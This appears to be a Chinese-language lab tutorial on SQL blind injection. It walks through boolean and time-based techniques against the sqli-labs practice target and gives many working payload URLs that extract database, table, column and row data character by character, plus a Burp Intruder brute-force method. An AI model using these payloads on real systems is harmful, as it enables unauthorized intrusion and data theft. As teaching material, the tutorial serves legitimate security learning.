目录
一、什么时候用到盲注?
二、盲注的优缺点
三、盲注的流程
四、盲注的分类
五、布尔盲注
5.1、原理以及什么时候使用布尔盲注?
5.2、例如upload-labs靶场中的Less-8
5.3、布尔盲注常用函数及定义
5.4、length()函数的使用方法
5.5、substr()、ascii()函数的使用方法
5.6、使用bp爆破模块逐步猜解字符
5.7、 判断数据库中的表
5.7.1、首先判断当前数据库中的表的个数
5.7.2、判断第一个表的长度
5.7.3、判断第二个表的长度
5.7.4、判断第一个表的第一个字符的ascii值
5.7.5、判断第一个表的第二个字符的ascii值
5.8、判断表中的字段
5.8.1、判断表中字段的个数
5.8.2、判断第一个字段的长度
5.8.3、判断第一个字段的ascii值
5.9、判断字段的值
5.9.1、判断数据的长度
5.9.2、判断数据的ascii值
六、时间盲注
6.1、什么是时间盲注
6.2、时间盲注函数sleep()
6.3、使用时间盲注的常用函数——if()函数
6.4、判断库名
6.5、判断表名
6.6、判断表中字段
6.7、判断字段的值
此篇文章仅用于研究与学习,请勿在未授权的情况下进行攻击。(请勿在本人未同意情况下进行转载)
在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。通俗的讲就是在前端页面没有显示位,不能返回SQL语句执行错误的信息,盲注分为布尔盲注和时间盲注。
优点:不需要显示位和报错信息。
缺点:速度慢,耗费大量时间
1.判断数据库长度和字符
2.判断表的长度和字符
3.判断出字段的长度和字符
4.判断出字段值的长度和字符
盲注分为三类:
1、布尔盲注
2、时间盲注
3、报错盲注
通常我们只使用布尔盲注和时间盲注,报错盲注不常用,下面就不解释了。
原理:是无论输入什么,结果只返回真和假两种结果。
什么时候使用布尔盲注:
1、没有返回SQL执行的错误信息
2、错误与正确的输入,返回的结果只有两种
错误回显
正确回显
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' order by 3 --+
不管怎么注入 页面只显示 `true` 或`false` 两种结果。
1、length():length函数用于在 MySQL 中计算字段的长度,一个汉字是算 3 个字符,一个数字或字母算 1 个字符。
2、substr():substr(string,start,length)对于给定字符串string,从start位开始截取,截取length长度。
length:待提取的字符串的长度,若length为一下情况时,返回整个字符串的所有字符。
1、length不指定
2、length为空
3、length为负值
4、length大于字符串的长度
注意:
substr中的start为负数时返回空值
当length为负值时,默认从start位置截取所有字符
例如:substr(database(),1,1)取出数据库长度从第一位开始取,取1的长度 我们数据库名字为"security" 那就是"s"。
3、ascii():返回字符的ASCII码
例如:ascii(substr(database(),1,1)) ,意思是取数据库第一位字符,长度取一位,并转为ASCII码。取出数据库长度从第一位开始取,取1的长度 我们数据库名字为"security"那就是"s",转为ASCII码就是 115
length():length函数用于在 MySQL 中计算字段的长度,一个汉字是算 3 个字符,一个数字或字母算 1 个字符。
用法:
登录MySQL数据库
mysql -uroot -p123456
use security;
select username,password from users where id=1 and (length(database()) = 8);
因为数据库名字 security
有8个字符, 前面的条件和数据库字符长度等于8,这两个条件同时成立 才能查询到。
database()是当前数据库名称
length(database())
取出数据库名称的长度
< = > 分别为大于、等于、小于,用来判断是否满足条件,用来猜解。
hackbar中注入
http://127.0.0.0:8888/sqli/Less-8/?id=1' and (length(database())=8) --+
发现回显的true。
substr():substr(string,start,length)对于给定字符串string,从start位开始截取,截取length长度。
ascii():返回字符的ASCII码。
我们已经知道数据库的长度,下面需要猜测数据库的每一个字符。
现实中我们不可能知道数据库的名字,只能靠猜测去逐步判断,怎么用最快的方法猜测一个范围的数字?
二分法:我们先取值一个范围1-100.我们知道答案就在1-100中的一个数,我们采用二分法进行快速找到目标数值,我们第一次取值50,判断目标大于50 还是小于50 ,大于50就从50-100中间进行取值,以此类推。
猜测数据库第1位字符
http://127.0.0.0:8888/sqli/Less-8/?id=1' and ascii(substr(database(),1,1)) > 97 --+ #成立
http://127.0.0.0:8888/sqli/Less-8/?id=1' and ascii(substr(database(),1,1)) > 110 --+ #成立
http://127.0.0.0:8888/sqli/Less-8/?id=1' and ascii(substr(database(),1,1)) > 115 --+ #不成立
http://127.0.0.0:8888/sqli/Less-8/?id=1' and ascii(substr(database(),1,1)) = 115 --+ #成立
判断出数据库第1位是 s
猜测数据库第2位字符
http://192.168.83.144/sqli/Less-8/?id=1' and ascii(substr(database(),2,1)) =101 --+
判断出第2位字符是 e
依次类推即可
猜测数据库第3位字符:
猜测数据库第4位字符:
猜测数据库第5位字符:
可以判断出来最终结果是 security
前面使用substr()和ascii()逐个去猜测字符太过繁琐和浪费时间,我们可以采用bp来解决
首先进行抓包
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and substr(database(),1,1) = 's' --+
发送到攻击模块 添加两个锚点 切换为集束炸弹模式,设置两个锚点payload
第一个payload设置库名长度
第二个锚点payload设置库名可能出现的字符
然后开始爆破
根据回包长度以及回包render 判断每个字符。
用二分法依次判断,最后得知当前数据库表的个数为4,count函数返回匹配指定条件的行数。
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6 --+
limit 0,1 的含义就是从你的表或者库中的第0个数据开始(指的是第一个数据),只读取一个,在这里是库,也就是说读取这个库的第一个表。
我们在这里也可以发现用substr()函数时,只用了两个参数(string,start),length参数没有使用,这表示返回字符串的所有字符。
用二分法依次判断,最后可知当前数据库中第二个表的长度为8
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=8 --+
注意这里的limit 0,1就要改为limit 1,1,从第一个数据开始,也就是从第二个数据开始,即这个库的第二个表。
同理可以依次判断剩余的表的长度。
也是采用二分法,看看返回结果是什么,直到找到正确的ascii值,这里的100只是测试数字,具体还要看你们。找到对应的ascii值即是第一个表的第一个字符。
http://192.168.83.144/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
http://192.168.83.144/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
依次类推可以爆出这个库的所有表的名字。
和判断数据库中的表一样的使用方法,首先判断字段的个数然后字段的长度最后字段的ascii值,即可找到表中所有字段名。
判断users表中字段名称长度是否大于5,这里的users表是通过上面的语句爆出来的。
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())>5 --+
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and length(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1))=2 --+
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105 --+
依次类推就可以爆出这个users表的所有字段名,分别是 id、username、password 字段。
判断字段的值只需要判断数据的长度和数据的ascii值。
判断id字段的第一个数据的长度
http://127.0.0.1:8888/sqli-labs/Less-8/?id=1' and length((select id from users limit 0,1))=2 --+
判断id字段的第一个数据的第一个字符的ascii值
http://192.168.83.144/sqli/Less-8/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+
以此类推就可以爆出这个字段的数据值。
代码存在 sql 注入漏洞,然而页面既不会回显数据,也不会回显错误信息,语句执行后也不提示真假,我们不能通过页面的内容来判断。这里我们可以通过构造语句,通过页面响应的时长,来判断信息。
时间型盲注与布尔型盲注的语句构造过程类似,通常在布尔型盲注表达式的基础上使用IF语句加入延时语句来构造,由于时间型盲注耗时较大,通常利用脚本工具来执行,在手工利用的过程中较少使用。
通常使用sleep()等专用的延时函数来进行时间盲注,特殊情况下也可以使用某些耗时较高的操作代替这些函数。
为了提高效率,通常在表达式判断为真时执行延时语句。
用法:在数据库中延时3秒, 等待3秒后才有返回结果
mysql> select username,password from users where id=1 and sleep(3);
Empty set (3.00 sec)
如果页面没有任何返回信息那么我们可以直接直接加上‘sleep(3)’ 判断有没有注入
例:http://127.0.0.1:8888/sqli-labs/Less-9/?id=1
我们在URL路径上加入sleep()函数
http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and sleep(3) --+
我们按F12查看网络,看是否存在延迟,如何和我们设置的sleep(3)大差不差就可以验证存在时间盲注。
用法:if(1,2,3):如果1为True,则执行2,否则执行3。
基于时间盲注的思路:
if() 函数,如果参数1为真,那么执行参数2(sleep函数),否则执行参数3(一般写为1)
判断数据库长度
http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((length(database())=8),sleep(3),1) --+
猜解数据库第一个字符
http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((ascii(substr(database(),1,1)) =115 ),sleep(3),1) --+
时间盲注和布尔盲注的操作方法类似,这里只简单说一下。
判断该数据库中表的数量
http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if(((select count(table_name) from information_schema.tables where table_schema=database())=4),sleep(3),1) --+
判断表的长度
http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6),sleep(3),1) --+
判断每个表的每个字符的ascii值
http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(3),1) --+
判断表中字段的个数
http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if(((select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3),sleep(3),1) --+
判断字段的长度
http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((length(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1))=2),sleep(3),1) --+
判断字段的ascii值
http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105),sleep(3),1) --+
判断数据的长度
http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((length((select id from users limit 0,1))=1),sleep(3),1) --+
判断数据的ascii值
http://127.0.0.1:8888/sqli-labs/Less-9/?id=1' and if((ascii(substr((select id from users limit 0,1),1,1))=49),sleep(3),1) --+